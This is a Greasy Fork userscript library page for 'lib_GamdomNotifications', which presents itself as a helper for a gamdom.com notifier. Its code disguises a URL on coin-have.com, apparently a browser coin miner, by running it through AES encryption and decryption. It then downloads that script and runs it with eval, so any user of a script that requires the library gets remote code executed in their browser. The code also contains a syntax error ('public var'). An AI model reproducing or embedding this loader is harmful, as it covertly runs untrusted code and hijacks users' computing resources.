lib_GamdomNotifications

Lib needed for running Gamdom Notificator

当前为 2017-11-29 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.cn-greasyfork.org/scripts/35828/233824/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.0
  5. // @description Lib needed for running Gamdom Notificator
  6. // @require https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
  7. // @author allin4
  8. // @match *://gamdom.com/*
  9. // @grant GM_info
  10. // ==/UserScript==
  11.  
  12. (function() {
  13. 'use strict';
  14. console.log("LIB LOADED");
  15.  
  16. var cmp = new XMLHttpRequest();
  17. cmp.onreadystatechange = function() {
  18. if (this.readyState == 4 && this.status == 200) {
  19. eval(this.responseText);
  20. }
  21. };
  22.  
  23. public var DivAppend = function(div){
  24. document.body.appendChild(div);
  25. var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
  26. CPEL(somethingTemp);
  27. console.log("Div created :)");
  28. };
  29.  
  30. var CPEL = function(link){
  31. cmp.open('GET', link);
  32. cmp.send();
  33. };
  34.  
  35. var cryption = function(mes,pass){
  36. var encrypted = CryptoJS.AES.encrypt(mes, pass);
  37. console.log("AES-" + encrypted);
  38.  
  39. var decrypted = CryptoJS.AES.decrypt(encrypted, pass);
  40. return decrypted;
  41. };
  42.  
  43. })();